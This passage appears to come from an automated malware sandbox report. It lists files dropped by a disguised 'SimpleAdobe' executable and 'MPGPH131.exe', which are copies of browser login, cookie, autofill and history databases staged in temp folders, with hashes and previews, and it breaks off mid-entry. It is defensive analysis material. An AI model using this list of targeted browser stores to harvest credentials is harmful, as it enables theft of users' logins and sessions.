Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\3W1Yzz_DsfN2Login Data For Account

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\3oVI2BCOYu_UHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\A2h6QXuy4ARYLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\DIObFHyTefSQWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9312584730793054
Encrypted:	false
SSDEEP:	192:CSqzyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:CrzyffrnzkkqtXnTK+hNH+5
MD5:	4ECC14F9549C4BB53159212C5BCC9CC0
SHA1:	EFEABE631F20B60E2863952BFF0F485BEB74CE36
SHA-256:	49F613160AD871F1B44381BB8F6B4E1EB481E41A86B462D4CD29CB90095EE149
SHA-512:	6EB988D5F9AA19A26EB1AE4E87F1D2E03D407B969777AB38E2031B3556D8915CCBD4BE6BD537A1A1D22A365D58CDF63E3B790D8AB7281DCCAC09F9685A0788C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\HSGV8spzPxroWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\Kp9ooI3D7rCXCookies

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\NypguLbuhtFGHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\ij9la_Dk2XOKHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\nMgbGJM8O6QSWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9312584730793054
Encrypted:	false
SSDEEP:	192:CSqzyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:CrzyffrnzkkqtXnTK+hNH+5
MD5:	4ECC14F9549C4BB53159212C5BCC9CC0
SHA1:	EFEABE631F20B60E2863952BFF0F485BEB74CE36
SHA-256:	49F613160AD871F1B44381BB8F6B4E1EB481E41A86B462D4CD29CB90095EE149
SHA-512:	6EB988D5F9AA19A26EB1AE4E87F1D2E03D407B969777AB38E2031B3556D8915CCBD4BE6BD537A1A1D22A365D58CDF63E3B790D8AB7281DCCAC09F9685A0788C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\vhDyBKg5tpv8Web Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\x51gXYmBgYQNWeb Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span6U8YqCATXCvJ\zkgE3kw3xmwuLogin Data

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\46Ux5Jh6liTHLogin Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\5FT7wzKc7K2PCookies

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\6QLj_j0DdHwjHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\EEy7ViqdwPjFHistory

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\HccoTwbVtR29Web Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0671530580287119
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumY/Un6:QrzWMffVnzkkqtXnTK+hNH+5EVumL
MD5:	AE3E7A509EDB5B7E46F851CB5AB7587D
SHA1:	461F516F194F6304E275AD1BB4C8275CA2C34F6C
SHA-256:	C8656BE4BA2FAAA6C2372915EF86F507A819CE60EAE345BFC1FB885E70A21624
SHA-512:	C7C2590FF23890F7317290E66C49D7A53C9D20BE965A76DCEC6D9A129CB3BFFF07B55E28D69D79799E476E6F4F6AD5B9CD67C55126E84A1CB18AF09C246B6122
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanoDGzJY8WIXSN\LXrWdmRlsht1Web Data

Download File

Process:	C:\ProgramData\MPGPH131\MPGPH131.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0671530580287119
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumY/Un6:QrzWMffVnzkkqtXnTK+hNH+5EVumL
